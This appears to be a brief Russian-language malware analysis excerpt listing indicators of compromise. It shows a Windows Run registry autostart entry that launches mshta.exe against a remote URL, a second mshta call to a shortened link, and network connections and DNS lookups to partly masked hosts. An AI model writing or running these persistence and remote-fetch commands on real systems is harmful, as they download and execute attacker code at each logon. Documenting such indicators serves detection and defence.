Техническая информация
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Screenshot' = 'mshta http://dlsc.af/wp-admin/buy/5.html'
- '<SYSTEM32>\mshta.exe' http://%2##20@j.mp/4545hhhsdf3qassd3asd2
- 'j.#p':80
- 'ma##.#oteloscar.in':80
- DNS ASK j.#p
- DNS ASK ma##.#oteloscar.in